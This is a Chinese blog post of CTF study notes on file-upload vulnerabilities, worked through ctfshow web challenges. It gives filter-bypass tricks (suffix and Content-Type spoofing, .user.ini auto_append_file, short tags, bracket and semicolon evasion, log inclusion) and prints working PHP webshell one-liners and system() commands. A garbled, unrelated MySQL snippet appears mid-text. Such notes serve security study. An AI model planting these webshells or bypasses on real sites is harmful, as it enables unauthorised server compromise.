前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >文件上传

文件上传

作者头像
h3110_w0r1d
发布2024-02-19 19:41:40
1190
发布2024-02-19 19:41:40
举报

文件上传

经典绕过

  1. 更改js代码绕过前端过滤
  2. 文件后缀,大小写、如果是apache,可以多写一个不能解析的后缀,php.xxxx
  3. 如果后端是通过content-type来进行校验的,可以将content-type修改为可以上传的文件的类型值,后端代码对应为$_FILE(“file”)
  4. 绕过php字符内容:使用短标签=
  5. 绕过空格:使用转义字符’\t’ 或者 进行URL编码
  6. 绕过[]:在php中大括号和中括号等价,可以使用{}来绕过对中括号的过滤
  7. 绕过[]和{}:使用array_pop()函数,括号内部写传参的形式,array_pop($_POST);,以字符串的形式返回执行语句,可以配合eval()函数进行使用
  8. 绕过对分号的过滤:最后一句不用带分号,中间的分号可以用?>来进行guo’l

什么是文件上传漏洞

  1. 存在文件上传的地方,就有可能有文件上传的漏洞
  2. 上传一个webshell(后门)

查找文件上传漏洞

  1. 脚本扫描(御剑和菜刀.爬虫)
  2. 尝试网站的应用

利用类型

常规类

扫描获取上传
  1. 扫描到敏感目录,上传地址
会员中心上传
后台系统上传
各种途径上传

CMS类

  1. 一般的文件上传不允许上传脚本格式的编辑器类

其他类/CVE

配合解析漏洞下的文件类型后门测试3938

  1. 假设上传了一个木马含在图片里的文件,直接访问上传路径解析不出来,按理来说应该解析图片的同时应该解析出phpinfo()的脚本函数,但是没有
  1. 在上传路径后面加上/1.php (文件的名字不重要,重要的是文件类型是php)
  1. 解析漏洞是看搭建的平台的,例如apache和nginx的
  2. nginx是可以将图片格式作为php格式执行

Content-type

内容类型,一般指的是网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定接收方以什么形式,什么编码解读这个文件

ContentType属性指定响应的 HTTP内容类型。如果未指定 ContentType,默认为TEXT/HTML

application/octet-stream 字节流,浏览器处理字节流的默认方式就是下载

代码语言:javascript
复制
最重要的1. application/octet-stream 字节流,浏览器处理字节流的默认方式就是下载
       2. image/png 图片类型,将会以图片类型解析
".*"="application/octet-stream"
".001"="application/x-001"
".301"="application/x-301"
".323"="text/h323"
".906"="application/x-906"
".907"="drawing/907"
".a11"="application/x-a11"
".acp"="audio/x-mei-aac"
".ai"="application/postscript"
".aif"="audio/aiff"
".aifc"="audio/aiff"
".aiff"="audio/aiff"
".anv"="application/x-anv"
".asa"="text/asa"
".asf"="video/x-ms-asf"
".asp"="text/asp"
".asx"="video/x-ms-asf"
".au"="audio/basic"
".avi"="video/avi"
".awf"="application/vnd.adobe.workflow"
".biz"="text/xml"
".bmp"="application/x-bmp"
".bot"="application/x-bot"
".c4t"="application/x-c4t"
".c90"="application/x-c90"
".cal"="application/x-cals"
".cat"="application/s-pki.seccat"
".cdf"="application/x-netcdf"
".cdr"="application/x-cdr"
".cel"="application/x-cel"
".cer"="application/x-x509-ca-cert"
".cg4"="application/x-g4"
".cgm"="application/x-cgm"
".cit"="application/x-cit"
".class"="java/*"
".cml"="text/xml"
".cmp"="application/x-cmp"
".cmx"="application/x-cmx"
".cot"="application/x-cot"
".crl"="application/pkix-crl"
".crt"="application/x-x509-ca-cert"
".csi"="application/x-csi"
".css"="text/css"
".cut"="application/x-cut"
".dbf"="application/x-dbf"
".dbm"="application/x-dbm"
".dbx"="application/x-dbx"
".dcd"="text/xml"
".dcx"="application/x-dcx"
".der"="application/x-x509-ca-cert"
".dgn"="application/x-dgn"
".dib"="application/x-dib"
".dll"="application/x-msdownload"
".doc"="application/msword"
".dot"="application/msword"
".drw"="application/x-drw"
".dtd"="text/xml"
".dwf"="Model/vnd.dwf"
".dwf"="application/x-dwf"
".dwg"="application/x-dwg"
".dxb"="application/x-dxb"
".dxf"="application/x-dxf"
".edn"="application/vnd.adobe.edn"
".emf"="application/x-emf"
".eml"="message/rfc822"
".ent"="text/xml"
".epi"="application/x-epi"
".eps"="application/x-ps"
".eps"="application/postscript"
".etd"="application/x-ebx"
".exe"="application/x-msdownload"
".fax"="image/fax"
".fdf"="application/vnd.fdf"
".fif"="application/fractals"
".fo"="text/xml"
".frm"="application/x-frm"
".g4"="application/x-g4"
".gbr"="application/x-gbr"
".gcd"="application/x-gcd"
".gif"="image/gif"
".gl2"="application/x-gl2"
".gp4"="application/x-gp4"
".hgl"="application/x-hgl"
".hmr"="application/x-hmr"
".hpg"="application/x-hpgl"
".hpl"="application/x-hpl"
".hqx"="application/mac-binhex40"
".hrf"="application/x-hrf"
".hta"="application/hta"
".htc"="text/x-component"
".htm"="text/html"
".html"="text/html"
".htt"="text/webviewhtml"
".htx"="text/html"
".icb"="application/x-icb"
".ico"="image/x-icon"
".ico"="application/x-ico"
".iff"="application/x-iff"
".ig4"="application/x-g4"
".igs"="application/x-igs"
".iii"="application/x-iphone"
".img"="application/x-img"
".ins"="application/x-internet-signup"
".isp"="application/x-internet-signup"
".IVF"="video/x-ivf"
".java"="java/*"
".jfif"="image/jpeg"
".jpe"="image/jpeg"
".jpe"="application/x-jpe"
".jpeg"="image/jpeg"
".jpg"="image/jpeg"
".jpg"="application/x-jpg"
".js"="application/x-javascript"
".jsp"="text/html"
".la1"="audio/x-liquid-file"
".lar"="application/x-laplayer-reg"
".latex"="application/x-latex"
".lavs"="audio/x-liquid-secure"
".lbm"="application/x-lbm"
".lmsff"="audio/x-la-lms"
".ls"="application/x-javascript"
".ltr"="application/x-ltr"
".m1v"="video/x-mpeg"
".m2v"="video/x-mpeg"
".m3u"="audio/mpegurl"
".m4e"="video/mpeg4"
".mac"="application/x-mac"
".man"="application/x-troff-man"
".math"="text/xml"
".mdb"="application/msaccess"
".mdb"="application/x-mdb"
".mfp"="application/x-shockwave-flash"
".mht"="message/rfc822"
".mhtml"="message/rfc822"
".mi"="application/x-mi"
".mid"="audio/mid"
".midi"="audio/mid"
".mil"="application/x-mil"
".mml"="text/xml"
".mnd"="audio/x-musicnet-download"
".mns"="audio/x-musicnet-stream"
".mocha"="application/x-javascript"
".movie"="video/x-sgi-movie"
".mp1"="audio/mp1"
".mp2"="audio/mp2"
".mp2v"="video/mpeg"
".mp3"="audio/mp3"
".mp4"="video/mp4"
".mpa"="video/x-mpg"
".mpd"="application/-project"
".mpe"="video/x-mpeg"
".mpeg"="video/mpg"
".mpg"="video/mpg"
".mpga"="audio/rn-mpeg"
".mpp"="application/-project"
".mps"="video/x-mpeg"
".mpt"="application/-project"
".mpv"="video/mpg"
".mpv2"="video/mpeg"
".mpw"="application/s-project"
".mpx"="application/-project"
".mtx"="text/xml"
".mxp"="application/x-mmxp"
".net"="image/pnetvue"
".nrf"="application/x-nrf"
".nws"="message/rfc822"
".odc"="text/x-ms-odc"
".out"="application/x-out"
".p10"="application/pkcs10"
".p12"="application/x-pkcs12"
".p7b"="application/x-pkcs7-certificates"
".p7c"="application/pkcs7-mime"
".p7m"="application/pkcs7-mime"
".p7r"="application/x-pkcs7-certreqresp"
".p7s"="application/pkcs7-signature"
".pc5"="application/x-pc5"
".pci"="application/x-pci"
".pcl"="application/x-pcl"
".pcx"="application/x-pcx"
".pdf"="application/pdf"
".pdx"="application/vnd.adobe.pdx"
".pfx"="application/x-pkcs12"
".pgl"="application/x-pgl"
".pic"="application/x-pic"
".pko"="application-pki.pko"
".pl"="application/x-perl"
".plg"="text/html"
".pls"="audio/scpls"
".plt"="application/x-plt"
".png"="image/png"
".png"="application/x-png"
".pot"="applications-powerpoint"
".ppa"="application/vs-powerpoint"
".ppm"="application/x-ppm"
".pps"="application-powerpoint"
".ppt"="applications-powerpoint"
".ppt"="application/x-ppt"
".pr"="application/x-pr"
".prf"="application/pics-rules"
".prn"="application/x-prn"
".prt"="application/x-prt"
".ps"="application/x-ps"
".ps"="application/postscript"
".ptn"="application/x-ptn"
".pwz"="application/powerpoint"
".r3t"="text/vnd.rn-realtext3d"
".ra"="audio/vnd.rn-realaudio"
".ram"="audio/x-pn-realaudio"
".ras"="application/x-ras"
".rat"="application/rat-file"
".rdf"="text/xml"
".rec"="application/vnd.rn-recording"
".red"="application/x-red"
".rgb"="application/x-rgb"
".rjs"="application/vnd.rn-realsystem-rjs"
".rjt"="application/vnd.rn-realsystem-rjt"
".rlc"="application/x-rlc"
".rle"="application/x-rle"
".rm"="application/vnd.rn-realmedia"
".rmf"="application/vnd.adobe.rmf"
".rmi"="audio/mid"
".rmj"="application/vnd.rn-realsystem-rmj"
".rmm"="audio/x-pn-realaudio"
".rmp"="application/vnd.rn-rn_music_package"
".rms"="application/vnd.rn-realmedia-secure"
".rmvb"="application/vnd.rn-realmedia-vbr"
".rmx"="application/vnd.rn-realsystem-rmx"
".rnx"="application/vnd.rn-realplayer"
".rp"="image/vnd.rn-realpix"
".rpm"="audio/x-pn-realaudio-plugin"
".rsml"="application/vnd.rn-rsml"
".rt"="text/vnd.rn-realtext"
".rtf"="application/msword"
".rtf"="application/x-rtf"
".rv"="video/vnd.rn-realvideo"
".sam"="application/x-sam"
".sat"="application/x-sat"
".sdp"="application/sdp"
".sdw"="application/x-sdw"
".sit"="application/x-stuffit"
".slb"="application/x-slb"
".sld"="application/x-sld"
".slk"="drawing/x-slk"
".smi"="application/smil"
".smil"="application/smil"
".smk"="application/x-smk"
".snd"="audio/basic"
".sol"="text/plain"
".sor"="text/plain"
".spc"="application/x-pkcs7-certificates"
".spl"="application/futuresplash"
".spp"="text/xml"
".ssm"="application/streamingmedia"
".sst"="application-pki.certstore"
".stl"="application/-pki.stl"
".stm"="text/html"
".sty"="application/x-sty"
".svg"="text/xml"
".swf"="application/x-shockwave-flash"
".tdf"="application/x-tdf"
".tg4"="application/x-tg4"
".tga"="application/x-tga"
".tif"="image/tiff"
".tif"="application/x-tif"
".tiff"="image/tiff"
".tld"="text/xml"
".top"="drawing/x-top"
".torrent"="application/x-bittorrent"
".tsd"="text/xml"
".txt"="text/plain"
".uin"="application/x-icq"
".uls"="text/iuls"
".vcf"="text/x-vcard"
".vda"="application/x-vda"
".vdx"="application/vnd.visio"
".vml"="text/xml"
".vpg"="application/x-vpeg005"
".vsd"="application/vnd.visio"
".vsd"="application/x-vsd"
".vss"="application/vnd.visio"
".vst"="application/vnd.visio"
".vst"="application/x-vst"
".vsw"="application/vnd.visio"
".vsx"="application/vnd.visio"
".vtx"="application/vnd.visio"
".vxml"="text/xml"
".wav"="audio/wav"
".wax"="audio/x-ms-wax"
".wb1"="application/x-wb1"
".wb2"="application/x-wb2"
".wb3"="application/x-wb3"
".wbmp"="image/vnd.wap.wbmp"
".wiz"="application/msword"
".wk3"="application/x-wk3"
".wk4"="application/x-wk4"
".wkq"="application/x-wkq"
".wks"="application/x-wks"
".wm"="video/x-ms-wm"
".wma"="audio/x-ms-wma"
".wmd"="application/x-ms-wmd"
".wmf"="application/x-wmf"
".wml"="text/vnd.wap.wml"
".wmv"="video/x-ms-wmv"
".wmx"="video/x-ms-wmx"
".wmz"="application/x-ms-wmz"
".wp6"="application/x-wp6"
".wpd"="application/x-wpd"
".wpg"="application/x-wpg"
".wpl"="application/-wpl"
".wq1"="application/x-wq1"
".wr1"="application/x-wr1"
".wri"="application/x-wri"
".wrk"="application/x-wrk"
".ws"="application/x-ws"
".ws2"="application/x-ws"
".wsc"="text/scriptlet"
".wsdl"="text/xml"
".wvx"="video/x-ms-wvx"
".xdp"="application/vnd.adobe.xdp"
".xdr"="text/xml"
".xfd"="application/vnd.adobe.xfd"
".xfdf"="application/vnd.adobe.xfdf"
".xhtml"="text/html"
".xls"="application/-excel"
".xls"="application/x-xls"
".xlw"="application/x-xlw"
".xml"="text/xml"
".xpl"="audio/scpls"
".xq"="text/xml"
".xql"="text/xml"
".xquery"="text/xml"
".xsd"="text/xml"
".xsl"="text/xml"
".xslt"="text/xml"
".xwd"="application/x-xwd"
".x_b"="application/x-x_b"
".x_t"="application/x-x_t"
Office2007对应的值:
"application/vnd.openxmlformats-officedocument.wordprocessingml.template" (for .docx files)
"application/vnd.openxmlformats-officedocument.presentationml.presentation" (for .pptx files)
"application/vnd.openxmlformats-officedocument.presentationml.slideshow" (for .ppsx files)
"application/vnd.openxmlformats-officedocument.presentationml.template" (for .potx files)
"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" (for .xlsx files)
"application/vnd.openxmlformats-officedocument.spreadsheetml.template" (for .xltx files)
相对于Office2003是这样的
Response.ContentType = "application/vnd.ms-excel"

最常用的马

代码语言:javascript
复制
<?php phpinfo(); @eval($_POST['shell']); ?>

这样写的目的是有phpinfo()的回显,如果显示了

的回显,则为能够解析木马,否则不能解析

常用函数

system

system函数用于执行外部程序,并且显示输出

代码语言:javascript
复制
system(string $command,int &$return_var=?):string

返回值为可选的,可以省略

eval

  1. eval()函数把字符串按照PHP代码来计算
  2. 该字符串必须是合法的PHP代码,以分号结尾
  3. eval()内部写的是php代码,而system()函数内部写的是命令

tac/cat

  1. 用来显示文件,tac是反向(向前)的顺序列出文件的内容,tac最重要的作用是对HTML的注释内容进行破坏,从而使注释内容不需要查看源代码即可回显到主页面
  2. cat是读取其后所指文件内容并将其输出到标准输出设备上

@

  1. xxxxxxxxxx14 1(1)登录2mysql -u root –p3(2)创建新用户4create user ‘hadming‘@’%’ identified by ‘123456’;5(3)为用户授权6mysql> grant all on . to ‘hadming‘@’%’;7(4)创建数据库8create database hadoopDB;9(5)查看数据库10show databases;11(6)选择数据库12Use hadoopDB13(7)删除数据库14(8)创建表bash
  2. 屏蔽了出错文件的路径等信息,安全性高,但是就没有回显了,所以可以不加@来获取到更多的回显信息

array_pop()

可以接受一个post或者get传的参数,这样就可以绕过过滤掉中括号和大括号无法使用$_POST[‘shell’]的情况

代码语言:javascript
复制
<?=eval(array_pop($POST));?>

例题:

js前端过滤,ctfshow

  1. 查看网页源代码,查看js,发现前端过滤
  1. 修改前端js,屏蔽过滤
  1. 文件可以上传成功
  1. 1=system(“ls ./“);在本地找不到东西
  2. 1=system(“ls /“);在根目录下也找不到东西
  1. 1=system(“ls ../“);在上级目录找到flag
  1. 构造语句1=system(“tac ../flag.php”);看到flag

文件后缀绕过攻击

  1. 服务端代码中限制了某些后缀的文件不允许上传,但是有些apache是允许解析其它文件后缀的
  2. 在apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的拓展名不能识别,就继续向左判断,直到遇到可以解析的文件后缀为止
  3. 例如:1.php.xxxx,xxxx不能解析,所以向左解析后缀php
  4. 或者可以大写一个字母,绕过弱过滤,例如php写为phP,大写一个字母
  5. 简单来说,文件上传检测的是最右侧的文件后缀名,但是apache从右到左解析,遇到右侧不能解析的文件名会跳过,知道能够解析的位置

文件类型绕过攻击,后端不能单一校验

  1. 在客户端上传文件时,通过burp抓包,当上传一个php格式的文件时,和上传一个jpg格式的Content-type不一致
  2. 如果服务端通过Content-type来判断文件的类型,就存在被绕过的可能,因为Content-type的值是客户端传递的,是可以任意修改的
  3. 所以上传一个php文件格式时,在burp中修改Content-type的值为image/jpeg,就可以绕过后端的检测
使用$_FLIES[“file”][“type”]后端过滤
  1. $_FILES[“file”][“type”]是客户端请求数据包中的Contant-type,可以通过修改Contant-type来绕过
  2. ctfshow例题152
  3. 直接上传,发现
  1. 上来先找js有没有前端过滤,发现js有前端过滤,修改为php

还是不能够上传,应该就是后端有过滤了

  1. 抓个包,首先看看是不是文件名后缀的问题,大写一个字母,例如phP,发现还是被过滤掉了

修改文件的Content-type,和前端所要求的文件类型一致,为image/png

,就可以上传成功了

方法2:用蚁剑去连接
  1. 绕过前端js过滤,后端改包之后能够上传
  1. 用蚁剑去连接,右键点击添加数据,url里面填url加上上传马的路径(马所在的位置),密码为post传的参数,即shell

,如果出现连接成功则为ok

  1. 在上传文件管理器中单机右键,选择在此处打开终端
  1. 一级一级目录地去寻找flag,
使用getimagesize()后端过滤

getimagesize()可以获取到图片的宽高,如果上传的不是图片文件,getimagesize()就获取不到信息,返回false,取反!getimagesize()就为true

代码语言:javascript
复制
if(!getimagesize($_FILES["file"]["type_name"])){
    exit();  //不满足就退出
}

此时可以将一个图片和一个webshell合并为一个文件

代码语言:javascript
复制
cat image.png webshell.php>image.php

也可以用010editor放到最后

黑名单
  1. 上传.user.ini进行文件上传绕过
  2. 一定注意这是一个隐藏配置文件,最前面要加点,是”.user.ini”
.user.ini文件,常用配置项
  1. php支持基于每个目录的.ini文件配置
  2. 除了主php.ini文件之外,php还会在每个目录下扫描ini文件,从被执行的php文件所在目录开始,一直上升到web根目录,($_SERVER[‘DOCUMENT_ROOT’]所指定的),如果被执行的php文件在web根目录之外,则只扫描该目录
  1. 常用配置项:S
  1. 假设包含1.txt

,重命名为.user.ini

对文件内容过滤

常用绕过方法

绕过php:短标签:

代码语言:javascript
复制
<?= ?>代替php标签,<?= ?>标签可以直接把php的结果输出,<?= ?>的结果和<?php ?>完全一样

绕过空格:使用转义字符绕过’\t’;或者使用%09也是tab的URL编码,php反引号中的字符串会被当作命令执行

绕过[]:使用{}即可,大括号和中括号的作用在php中等价

绕过[]和{}:使用array_pop()函数,函数内部写传参的方式,例如:array_pop($_POST);

,以字符串的形式返回执行的语句

,可以配合eval()函数使用

绕过分号;:最后一句的分号可以不要,且可以使用?>去绕过分号

不允许使用php字样,使用短标签绕过,例题:ctfshow154,ctfshow155

上传一个png文件,抓包

改包,改上传文件名称为’.user.ini’,文件内容采用’auto_append_file=1.txt’;

直接上传一个1.txt文件,内容为简单的一句话木马发现报错

直接上传一个内容为php的,前端为png的文件内容,发现还是报错,二分法判断前和后哪里的问题,发现是后面不允许使用php字样

使用短标签不适用’php’字样,发现可以上传

代码语言:javascript
复制
<?=@eval($_POST('shell'));?>

连蚁剑,找flag即可

连蚁剑的时候,路径写到和.user.ini和1.txt同级的位置,即到.user.ini的上一级目录,/upload的位置

不允许使用中括号[],ctfshow156

直接使用大括号{}替换中括号[]

代码语言:javascript
复制
<?= eval($_POST{'shell'}) ?>
中括号和大括号都过滤了,还过滤了分号,ctfshow157

这个时候我们可以使用array_pop()函数,函数内部写接收的参数,使用逃逸传参,参数以post或者get方式传入,但是还是不行

代码语言:javascript
复制
<?=eval(array_pop($_POST['1']);&1=system("待执行命令"));?>

进一步发现过滤了分号,最后位置的语句可以不带分号结尾,即可以上传成功

代码语言:javascript
复制
<?=eval(array_pop($_POST[1])?>&1=system("待执行语句"))?>

用蚁剑连接到*.user.ini的上一级目录位置*,开终端搞就行

web159,对大小括号进行过滤,对特殊路径字符进行过滤

使用文件包含进行绕过

对’log’字样进行过滤,使用.进行拼接

代码语言:javascript
复制
<?=include'var/l'.'og/nginx/access.l'.'og'?>

重复改包的技巧

  1. host的位置是域名去掉前面的http头和最后那里的‘/’而成的

web160

使用文件包含
  1. /var/log/nginx/access.log
  2. 因为对log有过滤,所以可以使用php的’.’去进行拼接
  3. ‘/var/l’.’og/nginx/access.l’.’og’
  1. 题中过滤了空格,小括号
  2. 可以使用文件包含去做
  3. 先上传一个.user.ini,内容为auto_append_file=1.txt
  4. 1.txt中写一句话木马
  5. ,这个地方因为过滤了空格,我们考虑使用空白换行符,但是不能直接换行,否则解码的时候空格和换行符的URL编码相同
  1. 把上面的1位置的hex值由31改为0d即可上传
  2. 后面接着改UA,连接蚁剑即可
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文件上传
    • 经典绕过
      • 什么是文件上传漏洞
        • 查找文件上传漏洞
          • 利用类型
            • 常规类
            • CMS类
            • 其他类/CVE
            • 配合解析漏洞下的文件类型后门测试3938
          • 最常用的马
            • 常用函数
              • system
              • eval
              • tac/cat
              • @
              • array_pop()
            • 例题:
              • js前端过滤,ctfshow
              • 文件后缀绕过攻击
              • 文件类型绕过攻击,后端不能单一校验
              • 对文件内容过滤
              • web159,对大小括号进行过滤,对特殊路径字符进行过滤
              • 重复改包的技巧
              • web160
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档